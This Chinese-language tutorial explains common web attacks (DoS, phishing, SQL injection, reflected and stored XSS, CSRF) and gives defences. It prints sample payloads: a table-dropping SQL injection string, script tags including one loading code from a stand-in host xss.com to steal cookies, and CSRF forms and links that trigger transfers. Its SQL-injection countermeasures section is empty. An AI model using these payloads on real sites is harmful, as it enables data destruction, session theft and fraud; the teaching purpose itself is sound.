按照攻击频率占比排序:
1.跨站脚本XSS攻击
2.SQL注入
3.DOS攻击
4.跨站伪造CSRF
5.钓鱼网站
DOS攻击
名为:Denial-of-service attack
原理:攻击者会发送大量的请求,或者模拟大量合法用户的访问,占用服务器资源直至耗尽,导致真正有需求的用户无法访问此网站。
比如18年,阮一峰的网站被DDOS攻击。
钓鱼网站
用户通过搜索引擎或者跳转链接进入仿冒的网站(UI、域名和正版网站很相似),用户在仿冒网站中输入了用户名和密码,导致账户信息泄漏。
SQL注入
SQL注入是一种代码注入的技术,攻击者可以将恶意SQL语句插入到输入字段中执行。
场景举例:
有这样一个功能:网站前端有一个查询输入框,当输入用户的姓名时,查询并展示拥有该姓名的所有用户。当后端接收到查询参数户,做sql语句的拼接,然后执行sql,返回查询结果。
let username = req.body.username
let sql = "select * from users where name ='+ username +'";
exec(sql)
当用户输入的查询参数如果是这样的字符时:
a';drop TABLE users;select * from userinfo where 't' ='t
则在服务器查询时相当于执行了:
let sql = "select * from users where name = 'a';drop TABLE users;select * from userinfo where 't' ='t'";
这样的结果会导致 一次查询就能删除用户库,当然也能做其他任何数据库的操作。
应对措施:
XSS(跨站脚本攻击)
Cross-site scripting。缩写成CSS与层叠样式表缩写的CSS容易混淆,故改称XSS。
由于网站存在漏洞,使得攻击者可以在网站输入恶意代码,并让恶意代码在其他用户浏览器运行,窃取用户信息。
非持久性攻击(反射性攻击)
反射性XSS,也就是被动的非持久性XSS。
诱骗用户点击URL带攻击代码的链接,服务器解析后响应,在返回的响应内容中隐藏和嵌入攻击者的XSS代码,被浏览器执行,从而攻击用户。
场景举例:
1.小明逛淘宝,在访问淘宝网时会登录,会留下浏览器和服务器分别保存认证Cookie用户识别小明的身份。
2.攻击者发现了淘宝网的商品搜索栏有XSS漏洞
3.攻击者构造链接http://taobao.com/search?q=手机<script>恶意代码</script>
并把链接发布到各个社交平台,当作广告并诱惑用户去点击。
4.当小明看到广告,点开链接,这时,恶意代码就存在在了小明的浏览器上,由于小明的淘宝处于登录状态,所以恶意代码可以获取小明的Cookie,故也能看到小明的所以信息,并模拟小明的所有操作。
持久性攻击
利用类似于留言板的功能将恶意代码写进数据库,当用户下次访问该网站时,因为网站会从数据库中获取数据展示信息,所以用户只要打开这个网站就会中招。
场景举例:
1.攻击者发现淘宝网的商品评论框有XSS漏洞2.攻击者发了一条评论,内容是:“ 该物品买到就是赚到!<script src="http://xss.com/xxx.js">
”。这个信息会展示到评论列表中,其中script标签会嵌入页面中。3.其他用户打开该页面时,阅读评论的同时实际上恶意代码已经在偷偷执行。攻击者就会获取用户的Cookie劫持用户信息。### 防范措施
1.对于富文本编辑器,过滤script等不安全标签
2.对用户输入的内容进行转义,比如把<script></script>
转义
3.代码需要动态展示内容时,用innerText来代替 innerHTML, vue使用v-text取代v-html。
4.服务端使用 Set Cookie时,带上HttpOnly字段,阻止Javascript获取Cookie
5.对于上传图片的场景,禁止使用用户填写的图片地址。特别是MarkDown编辑器。
CSRF攻击
Cross-site request forgery,跨站点请求伪造。
攻击者诱导受害者进入第三方网站,在第三方网站中,向被攻击的网站发送跨站请求。利用受害者在被攻击网站已经获取的注册凭证,绕过后台的用户验证,以达到冒充用户对被攻击的网站执行某项操作的目的。
场景举例:
1.受害者登录了淘宝网,并保留了登录凭证(Cookie)
2.攻击者引诱受害者去访问第三方网站 b.com
3.b.com 会向淘宝网发送一个请求,浏览器会默认带上受害者登录淘宝时的Cooike
4.这时淘宝网接收到请求后,对请求进行验证,并确认是受害者的凭证,误以为是受害者自己发送的情求。
5.这时攻击者就在受害者不知情的情况下,冒充受害者,让淘宝网执行了自己定义的一些操作。
攻击类型
GET类型的CSRF:
一个常见的场景匿名点赞,服务端会根据匿名访问者的IP来区别用户。攻击者把这个点赞接口集成到自己网站的图片里,任何人访问攻击者的网站都相当于给攻击者做了嫁衣帮忙店了一次赞。
<img src="http://zan.example/thumbup?amount=1&for=hacker">
POST类型的CSRF:
有些服务器的接口是使用 POST 方法的,所以黑客需要在他的站点上伪造 POST 请求,当用户打开黑客的站点时,是自动提交 POST 请求
<form id= 'hacker-form' action="https://bank.example/withdraw" method=POST>
<input type="hidden" name="userll" value="hacker" />
<input type="hidden" name="numberll" value="100" />
</form>
在上段代码中,我们可以看到攻击者在它的页面上构建了一个隐藏的表单,该表单内容就是一个某网站的转账接口,当用户打开该站点之后,这个表单就会被自动执行提交;当表单被提交之后,服务器会执行转账操作。因此使用构建自动提交表单的这种返回就,可以自动实现跨站点POST数据提交
链接类型的CSRF:
这种需要用户自己动手点击链接才会触发。这种类型通常会在各个社交平台发布的图片中嵌入恶意链接,或者以广告的形式来诱导用户去点击。
<a href="http://test.com/csrf/withdwaw.php?amount=100&for=hacker" target="_blank">重磅消息!!<a/>
由于之前用户登录了信任的网站A,并且保存了登录状态。这时只要用户主动访问了上面的这个PHP页面,则表示攻击成功。
防护措施
由于CSRF与XSS不同,CSRF攻击不会往页面注入恶意脚本,因此攻击者是无法通过CSRF攻击来获取用户页面数据的;主要是找到服务器的漏洞,所以对CSRF来说攻击可以从提升服务器安全性的方面来防护。
1. 利用好Cookie的SameSite属性
因为攻击者会利用用户登录状态来发起CSRF攻击,而Cookie正式浏览器和服务器之间维护登录状态的一个关键数据,因此要阻止CSRF攻击,需要在Cookie上设置一些东西。
而CSRF攻击通常是第三方站点发起的,因此可以利用Cookie 中的 SameSite 属性来阻止CSRF攻击
2. 在Cookie里写入csrftoken的值
<form action="https://time.geekbang.org/sendcoin" method="POST">
<input type="hidden" csrftoken="afe3f94cnisar">
<input type="text" name="username" value="">
<input type="password" name="password" value="">
</form>
当用户提交表单或者发送Ajax情求时,在情求参数或者请求头带上之前埋入的csrftoken。请求到服务器后服务器会从用户的请求参数里拿出token和请求自带的cookie里的token做对比,如果都存在且一致,则请求通过。
因为这个token是埋在该网站的,攻击者从第三方网站伪造请求时是得不到这个token所以无法在请求参数中带上token,请求就会失败。
该文章在 2023/10/30 10:01:41 编辑过